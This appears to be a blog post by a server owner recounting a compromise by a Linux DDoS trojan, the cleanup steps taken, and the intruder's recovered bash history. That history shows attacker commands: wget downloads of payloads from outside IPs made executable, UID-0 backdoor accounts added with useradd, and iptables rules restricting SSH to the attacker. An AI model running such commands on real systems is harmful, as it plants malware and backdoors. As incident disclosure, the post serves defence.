A few days ago I thought my server was running a tad slow. So I decided to check and see what traffic was incoming and outgoing with tcpdump. To my horror 100mb/s was outbounding to a bunch of legitimate websites and servers.
I ran ps aux which revealed “b26” and “sshpa” as running processes under some unknown user which had root permissions.
I proceeded to killall b26 && killall sshpa then removed the files from their /root and /bin locations.
An hour later they were back. I was panicking, suspecting a rootkit I pushed the files to my local system and ran as many online distributing scanners I could find so that the virus was out in the wild fast. It ended up being a variant of something that was first seen in 2010. My AV suite detected all the same files (same checksums) with differing names as Trojan.Chikdos.B!gen1.
I then read up on this Trojan and did a few more edits to the server.
rm -f /bin/b26
rm -f /root/b26
rm -f /root/conf.n
chattr -i linux-2.8.6-27.el6.x86_64.el5PAETS.linux
rm -f linux-2.8.6-27.el6.x86_64.el5PAETS.linux
I checked cronjobs in crontab for all users and found nothing so that was good.
However in /etc/init.d/DbSecuritySpt I detected b26 and a sh file that edited other files upon startup of the server. Here was the entry:
" */55 * * * * root /bin/cngamemafix.sh"
[email protected]:/bin# cat cngamemafix.sh
chmod 777 /bin/mysql515
I removed this and the mysql515 file which was a duplicate (same checksums as the other files).
Checking the cause
This wasn’t the end, not by a long shot. I discovered that the hijacker hadnt cleared his bash history and I saw everything he had run, which is as follows:
224 killall -9 .IptabLes .IptabLex
225 useradd -u 0 -o -g root -G root -d /bin nan
226 service crond start
227 /etc/rc.d/init.d/crond start
228 killall -9 cnet2
229 cd /bin
230 rm -rf cnet2
231 wget -c http://220.127.116.11:521/cnet2
232 chmod 0755 /bin/cnet2
234 ps -e
235 useradd -u 0 -o -g root -G root -d /bin nan
236 useradd -u 0 -o -g root -G root -d /bin porasd
237 cd /etc
238 mkdir init.d
239 mkdir rc.d
240 cd /etc/rc.d
241 mkdir rc5.d
242 cd /bin
243 rm -rf mysql515 cnet2 socket
244 wget -c http://18.104.22.168:522/mysql515
245 chmod 0777 /bin/mysql515
247 ps -e
248 passwd nan
249 nohup watch iptables -I INPUT -s 22.214.171.124 -p tcp --dport 22 -j ACCEPT > /dev/null 2>&1 &
250 nohup watch iptables -A INPUT -p tcp --dport 22 -j DROP > /dev/null 2>&1 &
251 iptables -I INPUT -s 126.96.36.199 -p tcp --dport 22 -j ACCEPT
252 iptables -A INPUT -p tcp --dport 22 -j DROP
This revealed yet another clone of the same executable trojan, “cnet2”, which I also removed.
But the bad news came when I tried to get rid of the hijacker’s edited users.
They both were running the init kernel process. Thus I couldn’t remove it without KVM access to the virtual server, not that I didn’t try anyway, killing ssh in the process.
In the end I had to get my files off and re-image the entire operating system of the server.
I checked the hijacker’s server out at 188.8.131.52 port 522 and 521 which ended up being Chinese. Hopefully anyone reading this can blacklist the IP.
Here is the scan analysis from the virus that was on my server
Moral of the story?
Don’t think weak passwords for your ssh enabled servers are going to cut it, especially not 12341234 *cough*… And please.. Install ClamAV.